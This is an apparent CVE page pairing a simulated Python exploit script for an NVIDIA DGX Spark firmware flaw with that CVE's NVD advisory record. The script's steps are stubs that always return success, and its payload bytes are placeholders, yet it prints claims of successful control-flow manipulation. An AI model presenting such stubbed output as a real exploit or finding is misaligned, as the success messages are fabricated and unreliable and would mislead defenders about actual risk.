CVE-2025-33199

# CVE-2025-33199 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Control Flow Vulnerability # This is a conceptual proof-of-concept demonstrating the vulnerability pattern # Note: Actual exploitation requires physical/local access and high privileges import struct import sys def exploit_sroot_control_flow(target_device): """ Simulated exploitation of SROOT firmware control flow vulnerability This PoC demonstrates the attack concept for educational purposes """ print("[*] Targeting NVIDIA DGX Spark GB10") print("[*] Attempting to exploit SROOT firmware vulnerability...") # Step 1: Establish high-privilege access print("[+] Step 1: Gaining high-privilege access to target device") if not authenticate_high_privilege(target_device): print("[-] Failed to obtain high privileges") return False # Step 2: Access SROOT firmware interface print("[+] Step 2: Accessing SROOT firmware interface") sroot_interface = access_sroot_interface(target_device) if not sroot_interface: print("[-] Failed to access SROOT interface") return False # Step 3: Craft malicious input to trigger control flow deviation print("[+] Step 3: Crafting malicious payload for control flow manipulation") payload = craft_control_flow_payload() # Step 4: Trigger the vulnerability print("[+] Step 4: Triggering SROOT control flow vulnerability") result = trigger_vulnerability(sroot_interface, payload) if result: print("[+] Successfully manipulated control flow") print("[+] Potential data tampering achieved") return True else: print("[-] Exploitation failed") return False def authenticate_high_privilege(device): """Simulate high-privilege authentication""" # In real scenario: Requires valid credentials with administrative privileges return True def access_sroot_interface(device): """Access SROOT firmware interface""" # In real scenario: Direct access to firmware update/management interface return {"interface": "SROOT_FW_MGMT", "authenticated": True} def craft_control_flow_payload(): """Craft payload to manipulate control flow in SROOT firmware""" # This would contain specific bytes to trigger the control flow vulnerability # The actual exploit would target the specific vulnerability in SROOT firmware payload = bytearray() payload.extend(b'\x00' * 16) # Padding payload.extend(b'\xFF' * 8) # Trigger bytes return bytes(payload) def trigger_vulnerability(interface, payload): """Trigger the vulnerability with crafted payload""" # In real scenario: Send payload to SROOT firmware interface # Vulnerable code path would cause control flow deviation print("[*] Sending payload to SROOT firmware...") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_33199_poc.py <target_device>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-33199 PoC for {target}") print("=" * 60) exploit_sroot_control_flow(target)

{"cve": {"id": "CVE-2025-33199", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:51.890", "lastModified": "2025-12-02T17:29:09.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause incorrect control flow behavior. A successful exploit of this vulnerability might lead to data tampering."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar un comportamiento incorrecto del flujo de control. Un exploit exitoso de esta vulnerabilidad podría conducir a la manipulación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33199", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33199", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}